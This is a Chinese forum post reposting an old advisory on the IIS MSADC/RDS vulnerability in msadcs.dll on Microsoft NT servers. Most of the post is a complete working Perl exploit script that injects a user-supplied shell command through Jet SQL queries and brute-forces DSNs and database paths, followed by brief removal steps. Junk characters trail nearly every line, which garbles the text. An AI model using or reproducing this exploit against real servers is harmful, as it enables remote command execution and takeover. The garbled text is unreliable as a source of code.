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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) )5|I_PXB  
+za8=`2o  
涉及程序: ~G27;Npy  
Microsoft NT server 8foJI^3  
YC_1Ks  
描述: &W f3~hmo  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 >5Wlc$bc  
SZJ$w-<z  
详细: nenU)*o  
如果你没有时间读详细内容的话,就删除: Mwgu93?  
c:\Program Files\Common Files\System\Msadc\msadcs.dll kD bhu^~B  
有关的安全问题就没有了。 ' oF xR003  
8ssJ<LP  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 gocrjjAHk  
tK k#LWB  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 ?BhMjsy.  
关于利用ODBC远程漏洞的描述,请参看: P>9aI/d9  
h^j?01*Et  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm 1^i Pji/  
M>M`baM1  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 erVO|<%=R  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp EC|'l  
Jv.U Q  
这里不再论述。 #z1H8CFL"  
)"+(butI&  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: !?^b[ nC%  
v=('{/^~>  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset 8p-=&cuo\@  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! H5D*|42  
-48vJR*tC  
vP+@z-O  
#将下面这段保存为txt文件,然后: "perl -x 文件名" g@\fZTO  
 ^xPmlS;X  
#!perl @-OnHE  
# KRjV}\}  
# MSADC/RDS 'usage' (aka exploit) script V^Hu3aUx8  
# =}PdH`S  
# by rain.forest.puppy BcD&sQ2F  
# #$3yz'"QF  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me G<M:Ak+~  
# beta test and find errors! s&GJW@ |  
udeoW-_  
use Socket; use Getopt::Std; *Sh^ J+j  
getopts("e:vd:h:XR", \%args); xG;-bJu  
D/h/Y) Y  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; Jjl`_X$CB  
'_b.\_s-d  
if (!defined $args{h} && !defined $args{R}) { /*|oL# hK  
print qq~ ~{}#)gGU  
Usage: msadc.pl -h <host> { -d <delay> -X -v } Y<0 4RV  
-h <host> = host you want to scan (ip or domain) xnE|Umz  
-d <seconds> = delay between calls, default 1 second wp7!>% s{  
-X = dump Index Server path table, if available xUfbW;;]UU  
-v = verbose V] Et wA  
-e = external dictionary file for step 5 5s?Hxn  
42L @w  
Or a -R will resume a command session #Wu*3&a]yU  
S.!UPkWH  
~; exit;} (@WA1oNG  
wW>)(&!F  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; :rP#I#,7w  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} .CSS}4  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} Ngg?@pG0y  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); Xv@SxS-5l  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} _e9:me5d"$  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } ?aW^+3i  
3Tq\BZ  
if (!defined $args{R}){ $ret = &has_msadc; ^9-&o  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} X>?b#Eva  
Mc!Xf[  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" )#F]G$51r  
. "cmd /c "; q64k7<C,  
$in=<STDIN>; chomp $in; 16SOIT  
$command="cmd /c " . $in ; /s];{m|>  
>&!RWH9*q  
if (defined $args{R}) {&load; exit;} vy,&N^P  
$)H@|< K  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; ,YhdY 6  
&try_btcustmr; Cye$H9 2  
={?v Ab:  
print "\nStep 2: Trying to make our own DSN..."; 7H>@iI"?  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; OIl#DV.  
;+1RU v  
print "\nStep 3: Trying known DSNs..."; XhsTT2B   
&known_dsn; ~ 8aJ S,u  
X0*QV- RN  
print "\nStep 4: Trying known .mdbs..."; nL:SG{7  
&known_mdb; Zf7&._y.  
hp"L8w  
if (defined $args{e}){ e|4&b@  
print "\nStep 5: Trying dictionary of DSN names..."; *._|-L  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } Dup;e&9g  
.d/: 30Y  
print "Sorry Charley...maybe next time?\n"; PQ|69*2G  
exit; 7w;O}axI  
2BCtJ`S`  
############################################################################## 5sPywk{  
LI)!4(WH  
sub sendraw { # ripped and modded from whisker tRpEF2  
sleep($delay); # it's a DoS on the server! At least on mine... %zU`XVNN+  
my ($pstr)=@_; =uDgzdDyE  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || <}6{{&mT4  
die("Socket problems\n"); Jgu94.;5  
if(connect(S,pack "SnA4x8",2,80,$target)){ -CH`>  
select(S); $|=1; {YUIMd!Y  
print $pstr; my @in=<S>; [7m1Q<  
select(STDOUT); close(S); ny-7P;->8  
return @in; I]!^;))  
} else { die("Can't connect...\n"); }} d2s OYCKe  
E2L(wt}^  
############################################################################## q2:K 4  
Q !qrNa6  
sub make_header { # make the HTTP request B^D(5  
my $msadc=<<EOT ^KB~*'DN~s  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 q %A?V _  
User-Agent: ACTIVEDATA )5fQ$<(Z  
Host: $ip HyiF y7j  
Content-Length: $clen .}')f;jH5<  
Connection: Keep-Alive !se0F.K  
4x%(9_8 {-  
ADCClientVersion:01.06 [#YE^[*qK  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 H&b3{yOa  
)rLMIk  
--!ADM!ROX!YOUR!WORLD! u9=SpgB#  
Content-Type: application/x-varg G#Ou[*O'  
Content-Length: $reqlen #GaxZ  
LflFe@2  
EOT <\zCpkZ'B  
; $msadc=~s/\n/\r\n/g; D}3XFuZs_  
return $msadc;} y$hp@m'@C  
midsnG+jnf  
############################################################################## TO,rxf  
`IINq{Zk  
sub make_req { # make the RDS request >s3gqSDR  
my ($switch, $p1, $p2)=@_; fQ+VT|jzx  
my $req=""; my $t1, $t2, $query, $dsn; [~D|peM3  
:`) ~-`_  
if ($switch==1){ # this is the btcustmr.mdb query *=Z26  
$query="Select * from Customers where City=" . make_shell(); PN+G:Qv  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . hl&-\dc+  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} g/=K.  
t0:AScZY   
elsif ($switch==2){ # this is general make table query 6I_Hd>4  
$query="create table AZZ (B int, C varchar(10))"; N?dvuB  
$dsn="$p1";} TgU**JN)  
nxQ?bk}*d  
elsif ($switch==3){ # this is general exploit table query }G$]LWgQx  
$query="select * from AZZ where C=" . make_shell(); f^e6<5gdf  
$dsn="$p1";} UkCnqNvx  
=G~~?>=@2  
elsif ($switch==4){ # attempt to hork file info from index server !A8^Xmz"  
$query="select path from scope()"; -G &_^"=R  
$dsn="Provider=MSIDXS;";} HEqWoV]{d  
K7I&sS^x  
elsif ($switch==5){ # bad query 3>z[PPw  
$query="select"; ;evCW$G=  
$dsn="$p1";} 0e["]Tlnm  
l6[lJ0Y  
$t1= make_unicode($query); \F,DA"K_  
$t2= make_unicode($dsn); }W)=@t  
$req = "\x02\x00\x03\x00"; Q Z8QQ`*S  
$req.= "\x08\x00" . pack ("S1", length($t1)); 6)]f6p&e  
$req.= "\x00\x00" . $t1 ; f]~c)P Cs  
$req.= "\x08\x00" . pack ("S1", length($t2)); } wSi~^*  
$req.= "\x00\x00" . $t2 ; h!&sNzX  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; PU9`<3z5  
return $req;} <I;*[;AK  
U3vEdw<lV  
############################################################################## YEjY8]t  
5=?i;P  
sub make_shell { # this makes the shell() statement AV&yoag1  
return "'|shell(\"$command\")|'";} 0@1:M  
ZA#y)z8!E  
############################################################################## cd;NpN  
h$C@j~  
sub make_unicode { # quick little function to convert to unicode DJh&#b  
my ($in)=@_; my $out; %>Xr5<$:&  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } -U2mfW  
return $out;} sPNfbCOz  
( g :p5Rl  
############################################################################## M/V(5IoP (  
$mco0 %$  
sub rdo_success { # checks for RDO return success (this is kludge) zvv:dC/p<  
my (@in) = @_; my $base=content_start(@in); )He#K+[}^4  
if($in[$base]=~/multipart\/mixed/){ fm1X1T.  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} dw@E)  
return 0;} ]8U ~Iy  
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############################################################################## IKvBf'%-  
^c9ThV.v  
sub make_dsn { # this makes a DSN for us J."{<&  
my @drives=("c","d","e","f"); fUag1d  
print "\nMaking DSN: "; rlok%Rt4Z  
foreach $drive (@drives) { }\v^+scD  
print "$drive: "; 5IMSNGS  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . {g/wY%u=  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" dGH_ z8  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); `!\ivIi^  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; jeN1eM8 WI  
return 0 if $2 eq "404"; # not found/doesn't exist B{, Bno  
if($2 eq "200") { h"QbA"  
foreach $line (@results) { c|wCKn}`  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} EiV=RdL  
} return 0;} j.-VJo)   
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############################################################################## 2?i\@r@E|  
ZcPUtun  
sub verify_exists { g"t^r3  
my ($page)=@_; V*B0lI7`B  
my @results=sendraw("GET $page HTTP/1.0\n\n"); 4".J/I5u  
return $results[0];} .PVLWW  
eVnbRT2y&  
############################################################################## si/er"&o  
qc!xW ,I  
sub try_btcustmr { 4sY[az  
my @drives=("c","d","e","f"); +h[e0J|v{  
my @dirs=("winnt","winnt35","winnt351","win","windows"); p?rK`$U+J  
;?6>mh(`  
foreach $dir (@dirs) { H$!-f>Rxa  
print "$dir -> "; # fun status so you can see progress 'ND36jHcRD  
foreach $drive (@drives) { FuP}Kec  
print "$drive: "; # ditto m% bE-#  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; #0MK(Ut/  
$reqlenlen=length( "$reqlen" ); `6 Y33bQ  
$clen= 206 + $reqlenlen + $reqlen; xcSR{IZ  
>7-y#SkXdo  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); SR*Gqx  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} QJ4AL3 ^6  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} HY;oy(  
:k!j"@r  
############################################################################## i^%-aBZ  
.K9l*-e[=  
sub odbc_error { cqQRU  
my (@in)=@_; my $base; GfsBQY/  
my $base = content_start(@in); *m_93J  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this Fn,k!q  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; vnsSy33K  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; (DJvi6\H  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; cb+y9wA  
return $in[$base+4].$in[$base+5].$in[$base+6];} QaMDGD  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; z}5<$K_U  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . )bW5yG!  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} fcAIg(vW  
]t/f<jKN^  
############################################################################## :::>ro*R  
5-p.MGso  
sub verbose { CX+9R3pa  
my ($in)=@_; g3rRhS  
return if !$verbose; ltEF:{mLe#  
print STDOUT "\n$in\n";} {'IFWD.5  
Yn 1?#%%  
############################################################################## VN|G5*  
Pf8u/?/  
sub save { fNxw&ke8&  
my ($p1, $p2, $p3, $p4)=@_; yisLypM*  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; w`#fH  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; nYov>x]  
close OUT;} _W9&J&l0so  
rbh[j@s@  
############################################################################## zUQe0Gc.b^  
]C)|+`XE@  
sub load { t-lv|%+8  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; :Y.e[@!1x  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); vXubY@k2  
@p=<IN>; close(IN); 1l]C5P}E  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); A9 n41,h  
$target= inet_aton($ip) || die("inet_aton problems"); Ygx,t|?7  
print "Resuming to $ip ..."; 4$i}Xk#3  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; 6F ;Or  
if($p[1]==1) { ,I39&;Iq  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; G7Ny"{Z  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; *tG11gR,&  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); {&`VGXG  
if (rdo_success(@results)){print "Success!\n";} n!?r }n8  
else { print "failed\n"; verbose(odbc_error(@results));}} 6PJ'lA;*b  
elsif ($p[1]==3){ ('HxHOh2  
if(run_query("$p[3]")){ :)LC gIQo  
print "Success!\n";} else { print "failed\n"; }} `e*61k5  
elsif ($p[1]==4){ PSEWL6=]N  
if(run_query($drvst . "$p[3]")){ VKf6|ae  
print "Success!\n"; } else { print "failed\n"; }} BvI 0v:  
exit;} CXa Ld7nMX  
Oo/8Y E @  
############################################################################## "3ug}k  
=AzOnXW:S  
sub create_table { j]4,6` b\  
my ($in)=@_; S~|tfJpL  
$reqlen=length( make_req(2,$in,"") ) - 28; D2?S,9+E_  
$reqlenlen=length( "$reqlen" ); iPkT*Cl8  
$clen= 206 + $reqlenlen + $reqlen; qzlER  
my @results=sendraw(make_header() . make_req(2,$in,"")); t[j9R#02?  
return 1 if rdo_success(@results); 2$DSBQEx  
my $temp= odbc_error(@results); verbose($temp); BJIFl!w  
return 1 if $temp=~/Table 'AZZ' already exists/; f\=6I3z  
return 0;} Cg*kN"8q  
H` Lu"EK  
############################################################################## |YXG(;-BS  
hOn  
sub known_dsn { h {H]xe[Q  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go 5C65v:Q`N  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", @|'Z@>!/pV  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", wNR=?Z~  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); /gX%ABmS  
ebD{ pc`&  
foreach $dSn (@dsns) { %\l0-RA@<  
print "."; &&*wmnWCS{  
next if (!is_access("DSN=$dSn")); Y)v%  
if(create_table("DSN=$dSn")){ g6`.qyVfz'  
print "$dSn successful\n"; bx]1 4}6  
if(run_query("DSN=$dSn")){ \aB&{`iG  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { G "c/a8  
print "Something's borked. Use verbose next time\n";}}} print "\n";} R{ 4u|A?9  
T#/11M$uQ  
############################################################################## AD,@,|A  
W7T" d4  
sub is_access { _&=9Ke  
my ($in)=@_; ?9qAe  
$reqlen=length( make_req(5,$in,"") ) - 28; 65t[vi*C  
$reqlenlen=length( "$reqlen" ); Ul9b.`6  
$clen= 206 + $reqlenlen + $reqlen; I'P.K| "R  
my @results=sendraw(make_header() . make_req(5,$in,"")); 3} l;  
my $temp= odbc_error(@results); >LCjtm\  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); LsnXS9_  
return 0;} >7W"giWP  
2t.fD@  
############################################################################## TiTYs  
5 5a@)>h  
sub run_query { + p'\(Z(  
my ($in)=@_;  @}Pw0vC  
$reqlen=length( make_req(3,$in,"") ) - 28; s?HsUD$b  
$reqlenlen=length( "$reqlen" ); r@;$V_I  
$clen= 206 + $reqlenlen + $reqlen; '2j~WUEmg  
my @results=sendraw(make_header() . make_req(3,$in,"")); sgR 9d  
return 1 if rdo_success(@results); zEAx:6`c  
my $temp= odbc_error(@results); verbose($temp); 4bWfx _0W  
return 0;} }el,^~  
&4[<F"W>47  
############################################################################## `c>A >c|  
:> x:(K  
sub known_mdb { ^=3 ^HQ'Zm  
my @drives=("c","d","e","f","g"); hg!x_Eq|  
my @dirs=("winnt","winnt35","winnt351","win","windows"); 2Sv>C `FMU  
my $dir, $drive, $mdb; miWw6!()  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; f)qPFM]%z  
zab w!@]  
# this is sparse, because I don't know of many %jpH:-8'2  
my @sysmdbs=( "\\catroot\\icatalog.mdb", %OTQRe:  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", BR%{bY^ 5p  
"\\system32\\certmdb.mdb", 0VG^GKmx  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% &#$2;-q8+  
zCyR<as7  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", vxF:vI# @  
"\\cfusion\\cfapps\\forums\\forums_.mdb", kK08W3@&t  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", T$f:[ye]Z  
"\\cfusion\\cfapps\\security\\realm_.mdb", zv&ePq\#  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", m<~>&mWr  
"\\cfusion\\database\\cfexamples.mdb", 9$8X> T^   
"\\cfusion\\database\\cfsnippets.mdb", $]xE$dzJ  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", ]U#JsMS  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", 6_x}.bkIx=  
"\\cfusion\\brighttiger\\database\\cleam.mdb", 3{I=.mUUm  
"\\cfusion\\database\\smpolicy.mdb", wrhBH;3  
"\\cfusion\\database\cypress.mdb", &`-_)~5]  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", #vnefIcBf  
"\\website\\cgi-win\\dbsample.mdb", 3KB| NS  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", V,`!rJ  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" ~D$#>'C#  
); #these are just 9T?~$XlX  
foreach $drive (@drives) { wA{*W>i  
foreach $dir (@dirs){ LNWqgIq  
foreach $mdb (@sysmdbs) { {H/8#y4qp&  
print "."; Cln^1N0  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ <aD'$(N5  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; jt0H5-x  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ pW`ntE#L  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; YWybPD4\(  
} else { print "Something's borked. Use verbose next time\n"; }}}}}  >cC Gx  
721{Ga4~S  
foreach $drive (@drives) { v/QEu^C  
foreach $mdb (@mdbs) { dw@TbJ  
print "."; [P(rY  
if(create_table($drv . $drive . $dir . $mdb)){ mrw]yu;2<n  
print "\n" . $drive . $dir . $mdb . " successful\n"; 8') .o hD  
if(run_query($drv . $drive . $dir . $mdb)){ };4pZceV  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; GG@iKL V  
} else { print "Something's borked. Use verbose next time\n"; }}}} u Zo]8mV  
} m T>b ;  
BXagSenc  
############################################################################## <>ZBW9  
o6`Y7,]  
sub hork_idx { FF5tPHB  
print "\nAttempting to dump Index Server tables...\n"; 6:e}v'q{  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; z_5rAlnwT.  
$reqlen=length( make_req(4,"","") ) - 28; WV5r$   
$reqlenlen=length( "$reqlen" ); r@N39O*Wq  
$clen= 206 + $reqlenlen + $reqlen; Gsx^j?  
my @results=sendraw2(make_header() . make_req(4,"","")); &ryl$!!3H  
if (rdo_success(@results)){ .aVHd<M  
my $max=@results; my $c; my %d; 6{Krw \0  
for($c=19; $c<$max; $c++){ u&hDjE  
$results[$c]=~s/\x00//g; 9Ba%=  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; JNU"5sB  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; ?GaI6?lbn  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; }[XB]Xf  
$d{"$1$2"}="";} \<0G kp  
foreach $c (keys %d){ print "$c\n"; } 3:l:~Vn  
} else {print "Index server doesn't seem to be installed.\n"; }} ::^qy^n  
<DA{\'jJ  
############################################################################## SaX,^_GY  
lo IL{2  
sub dsn_dict { v Ie=wf~D`  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); __oY:d(~  
while(<IN>){ 9b"}CEw  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";  60Xl.  
next if (!is_access("DSN=$dSn")); [qO5~E`;  
if(create_table("DSN=$dSn")){ 2ID*U d*  
print "$dSn successful\n"; y@2vY[)3s  
if(run_query("DSN=$dSn")){ ^+.+I cH  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { C}M0XW  
print "Something's borked. Use verbose next time\n";}}} hlSB7D"d  
print "\n"; close(IN);} (r#5O9|S  
F``EARG)iu  
############################################################################## %8rr*l5  
-52 @%uB  
sub sendraw2 { # ripped and modded from whisker TsFV ;Sl3  
sleep($delay); # it's a DoS on the server! At least on mine... kx;xO>dC  
my ($pstr)=@_; B` t6H  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || 8gu'dG=  
die("Socket problems\n"); CWobvR)e  
if(connect(S,pack "SnA4x8",2,80,$target)){ &V ^  
print "Connected. Getting data"; Xy3g(x]  
open(OUT,">raw.out"); my @in; Y%n{`9=  
select(S); $|=1; print $pstr; )sqp7["-  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} : pE-{3I  
close(OUT); select(STDOUT); close(S); return @in; {y+v-v/#  
} else { die("Can't connect...\n"); }}  )zk?yY6  
( FjsN5  
############################################################################## 14@q$}sf  
DRKc&F6Qy  
sub content_start { # this will take in the server headers =Ov;'MC  
my (@in)=@_; my $c; o}r!qL0c  
for ($c=1;$c<500;$c++) { ~x +:44*  
if($in[$c] =~/^\x0d\x0a/){ eE#81]'6a  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } ^6N3 nkyZ  
else { return $c+1; }}} lu G023'  
return -1;} # it should never get here actually ur~Tql  
FEm1^X#]  
############################################################################## >h/)r6  
_^ CQ*+F  
sub funky { z$8e6*  
my (@in)=@_; my $error=odbc_error(@in); nkr,  
if($error=~/ADO could not find the specified provider/){ OW[/%U>  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; 0s+rd&  
exit;} 8`rAE_n`%  
if($error=~/A Handler is required/){ |2+F I<v4  
print "\nServer has custom handler filters (they most likely are patched)\n"; {=pP`HD0  
exit;} z</XnN  
if($error=~/specified Handler has denied Access/){ N~Sue  
print "\nServer has custom handler filters (they most likely are patched)\n"; ^,ZvKA"}+/  
exit;}} ya*q;D  
btB(n<G2#  
############################################################################## .H[Lo>  
Ue>A  
sub has_msadc { >gS5[`xRE  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); ;k63RNT,M&  
my $base=content_start(@results); ] fwTi(4y  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); 6U,U[MWJ  
return 0;} LzEE]i  
~3*ZG  
######################## >m;|I/2@  
JUaKj@a|  
r,Y/4(.c7U  
解决方案: +^]PBMM1w  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll U(Hq4D  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 ke;*uS  
|Z^c #R  
拿出来充数 哈哈
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